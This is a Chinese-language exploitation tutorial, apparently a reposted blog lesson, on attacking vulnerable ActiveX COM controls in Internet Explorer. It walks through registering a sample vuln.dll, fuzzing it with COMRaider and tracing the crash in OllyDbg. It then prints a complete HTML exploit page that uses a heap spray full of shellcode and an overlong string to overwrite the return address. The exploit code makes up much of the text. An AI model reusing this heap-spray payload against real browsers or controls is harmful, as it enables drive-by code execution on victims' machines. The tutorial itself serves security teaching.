利用工具exploit com控件

    浏览器中的ActiveX控件中如果存在溢出漏洞,则同样十分容易被利用。

    下面介绍几种工具及方法。

     1. 首先需要手动注册com

         方法:

                

regsvr32 xxx.dll

     2. 所注册的com实际上都存在于注册表中:

在路径HKEY_CLASSES_ROOT\CLSID中,以一串唯一的GUID来表示:

这里,记录了实际的ProgID名字和路径。

    3. 可以使用工具来查看com的成员函数等基本信息。

    1)使用COM Explorer工具来查看注册表中的注册信息:

   2)使用VC6自带的工具com object viewer可以查看函数声明

3)利用COMRaider可以做fuzz测试。

   第一步:

 选择第一项点击next    

第二步:

  选中需要测试的组件,这里选择的是示例程序vuln.dll。

第三步:

  选择需要fuzz的函数,右键点击Fuzz member。

第四步:

  COMRaider会自己生成很多的wsf文件,每个文件实际上是一个html,html里面会构造畸形数据,然后通过vbs,js等网页脚本语言调用对应的method。

第五步:

点击begin Fuzzing

则会依次Fuzz函数

第五步:

如果函数内部存在漏洞,则就会产生exceptions。Result中是Caused Exception的话,那么就说明程序被fuzz崩溃了,很有可能存在漏洞。

第6步:

查看测试用例html。

选中上面产生Caused Exception的行,右键查看文件:

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:8EF2A07C-6E69-4144-96AA-2247D892A73D' id='target' />
<script language='vbscript'>
'File Generated by COMRaider v0.0.133 - http://labs.idefense.com
'Wscript.echo typename(target)
'for debugging/custom prolog
targetFile = "C:\iDefense\COMRaider\vuln.dll"
prototype  = "Function Method1 ( ByVal sPath As String ) As Long"
memberName = "Method1"
progid     = "VULNLib.server"
argCount   = 1
arg1=String(1044, "A")
target.Method1 arg1 
</script></job></package>

这里代码很简单,就是直接调用Method方法,然后是1044个“A”,值得注意的是html中需要首先嵌入com对象,使用下面的标签:

<object classid='clsid:8EF2A07C-6E69-4144-96AA-2247D892A73D' id='target' /> 其中的clsid即为上面查询到的guid。

第7步:

编译自己的html。

首先需要嵌入object标签,然后开始使用OD调试:

OD打开IE,然后在OLEAUT32.dll中的DispCallFunc处下断

当加载自己构造的fuzz的页面后,会断下来,然后在call ecx这个跟进,即可到达对应的函数内部。

跟进后,就可以查看崩溃的原因。

这个示例的dll是一个栈溢出,所以可以精心的构造一个html:

<html>
<body>
<object classid="clsid:8EF2A07C-6E69-4144-96AA-2247D892A73D" id='target'></object>
<script>
  var nops = unescape("%u9090%u9090");
  var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857";
  while (nops.length < 0x100000) 
    nops += nops;
  nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);
  nops=nops+shellcode;
  var memory = new Array();
  for (var i=0;i<200;i++) 
    memory[i] += nops;
//---------------------------------------------
var url = '';
while(url.length < 6164)
    url = url + "\x0a\x0a\x0a\x0a";
url = url + "\x0c\x0c\x0c\x0c";
target.Method1(url);
</script>
</body>
</html>

这里的代码分两个部分:

这部分是构造畸形字符串,溢出返回地址:

var url = '';
while(url.length < 6164)
    url = url + "\x0a\x0a\x0a\x0a";
url = url + "\x0c\x0c\x0c\x0c";
target.Method1(url);

这部分是利用堆喷射,创建了很多内存空间,然后填写满shellcode.

shellcode的组织形式是大量的nop+真正的shellcode,这么做的好处就是当返回到任意的空间后,这里是0x0a0a0a0a,就有机会跳转落入到这个地方,然后执行代码。

  var nops = unescape("%u9090%u9090");
  var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857";
  while (nops.length < 0x100000) 
    nops += nops;
  nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);
  nops=nops+shellcode;
  var memory = new Array();
  for (var i=0;i<200;i++) 
    memory[i] += nops;

作业:

  分析ActiveX expB中的漏洞,并利用。

猜你喜欢

转载自blog.csdn.net/qj1943/article/details/81432196